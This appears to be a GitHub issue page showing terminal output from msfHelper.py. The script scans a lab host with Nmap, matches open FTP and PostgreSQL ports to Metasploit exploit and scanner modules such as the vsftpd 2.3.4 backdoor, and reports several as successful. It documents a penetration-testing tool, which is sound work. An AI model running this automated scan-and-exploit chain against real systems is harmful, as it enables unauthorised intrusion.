-
Notifications
You must be signed in to change notification settings - Fork 73
Specify msfHelper to scan test certain ports
root@kali:/code# python msfHelper.py 172.16.173.182 -i -p 21,4432
] Launching Metasploit msfrpcd
[ MSGRPC starting on 127.0.0.1:55553 (NO SSL):Msg…
] URI: /api/
[ MSGRPC backgrounding at 2017-03-29 18:29:28 -0400…
] Reading from msfHelper.db
[ Running Nmap against target: 172.16.173.182
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-29 18:29 EDT
Nmap scan report for 172.16.173.182
Host is up (0.00057s latency).
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7
MAC Address: 00:0C:29:83:7B:74 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 – 2.6.33
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.97 seconds
[*] Loaded 2567 modules from Metasploit
- Finding MSF Modules based on Port No ****
Host Category Metasploit Module
-————————-———--——————————————————————
172.16.173.182:21 exploit unix/ftp/vsftpd_234_backdoor
172.16.173.182:5432 exploit linux/postgres/postgres_payload
172.16.173.182:21 auxiliary scanner/ftp/titanftp_xcrc_traversal
172.16.173.182:5432 auxiliary scanner/postgres/postgres_version
172.16.173.182:5432 auxiliary scanner/postgres/postgres_login
172.16.173.182:5432 auxiliary scanner/postgres/postgres_dbname_flag_injection
- Test Results from Metasploit Modules ****
172.16.173.182:21 exploit/unix/ftp/vsftpd_234_backdoor [OK]
172.16.173.182:5432 exploit/linux/postgres/postgres_payload [OK]
172.16.173.182:21 auxiliary/scanner/ftp/titanftp_xcrc_traversal
172.16.173.182:5432 auxiliary/scanner/postgres/postgres_version
172.16.173.182:5432 auxiliary/scanner/postgres/postgres_login [OK]
172.16.173.182:5432 auxiliary/scanner/postgres/postgres_dbname_flag_injection